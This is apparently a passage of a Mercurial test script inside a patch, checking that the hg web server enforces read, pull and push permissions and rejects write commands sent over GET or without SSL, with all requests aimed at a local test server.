"$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=capabilities' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=stream_out' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_read= denies access to unauthenticated user ++ ++ $ cat > .hg/hgrc < [web] ++ > deny_read = baduser1,baduser2 ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_read= denies access to users in deny list ++ ++ $ REMOTE_USER=baduser2 hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_read= allows access to authenticated users not in list ++ ++ $ REMOTE_USER=gooduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 200 Script output follows ++ ++ read-only command w/ defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ pulling from http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_read=* allows reads for unauthenticated users ++ ++ $ cat > .hg/hgrc < [web] ++ > allow_read = * ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 200 Script output follows ++ ++ read-only command w/ defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ pulling from http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_read=* allows read for authenticated user ++ ++ $ REMOTE_USER=authed_user hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 200 Script output follows ++ ++ read-only command w/ defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ pulling from http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_read= does not allow unauthenticated users to read ++ ++ $ cat > .hg/hgrc < [web] ++ > allow_read = gooduser ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_read= does not allow user not in list to read ++ ++ $ REMOTE_USER=baduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allow_read= allows read from user in list ++ ++ $ REMOTE_USER=gooduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 200 Script output follows ++ ++ cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 1 ++ publishing True (no-eol) ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 200 Script output follows ++ ++ read-only command w/ defined permissions ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ pulling from http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_read takes precedence over web.allow_read ++ ++ $ cat > .hg/hgrc < [web] ++ > allow_read = baduser ++ > deny_read = baduser ++ > EOF ++ ++ $ REMOTE_USER=baduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.allowpull=false denies read access to repo ++ ++ $ cat > .hg/hgrc < [web] ++ > allowpull = false ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=capabilities' ++ 401 pull not authorized ++ ++ 0 ++ pull not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 pull not authorized ++ ++ 0 ++ pull not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 pull not authorized ++ ++ 0 ++ pull not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 pull not authorized ++ ++ 0 ++ pull not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++Attempting a write command with HTTP GET fails ++ ++ $ cat > .hg/hgrc < EOF ++ ++ $ REQUEST_METHOD=GET hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ $ hg bookmark -d bm ++ abort: bookmark 'bm' does not exist ++ [255] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++Attempting a write command with an unknown HTTP verb fails ++ ++ $ REQUEST_METHOD=someverb hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ $ hg bookmark -d bm ++ abort: bookmark 'bm' does not exist ++ [255] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 405 push requires POST request ++ ++ 0 ++ push requires POST request ++ [1] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++Pushing on a plaintext channel is disabled by default ++ ++ $ cat > .hg/hgrc < EOF ++ ++ $ REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 ssl required ++ ++ 0 ++ ssl required ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 200 ssl required ++ ++ 0 ++ ssl required ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 200 ssl required ++ ++ 0 ++ ssl required ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 200 ssl required ++ ++ 0 ++ ssl required ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ remote: ssl required ++ updating bookmark bm failed! ++ [1] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ remote: ssl required ++ remote: ssl required ++ updating cb9a9f314b8b to public failed! ++ [1] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_push=* denies pushing to unauthenticated users ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > deny_push = * ++ > EOF ++ ++ $ REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_push=* denies pushing to authenticated users ++ ++ $ REMOTE_USER=someuser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ REMOTE_USER=someuser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_push= denies pushing to user in list ++ ++ $ cat > .hg/hgrc < [web] ++ > push_ssl = false ++ > deny_push = baduser ++ > EOF ++ ++ $ REMOTE_USER=baduser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ REMOTE_USER=baduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting bookmark bm ++ abort: authorization failed ++ [255] ++ ++ $ hg --cwd ../test2 push http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_push= denies pushing to user not in list because allow_push isn't set ++ ++ $ REMOTE_USER=gooduser REQUEST_METHOD=POST hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=pushkey' --requestheader 'x-hgarg-1=namespace=bookmarks&key=bm&old=&new=cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=pushkey+namespace%3Dbookmarks%2Ckey%3Dbm%2Cold%3D%2Cnew%3Dcb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ hg bookmarks ++ no bookmarks set ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 push not authorized ++ ++ 0 ++ push not authorized ++ [1] ++ ++Reset server to remove REQUEST_METHOD hack to test hg client ++ ++ $ "$TESTDIR/killdaemons.py" ++ $ REMOTE_USER=gooduser hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ hg --cwd ../test2 push -B bm http://localhost:$HGPORT/ ++ pushing to http://localhost:$HGPORT/ ++ searching for changes ++ no changes found ++ exporting 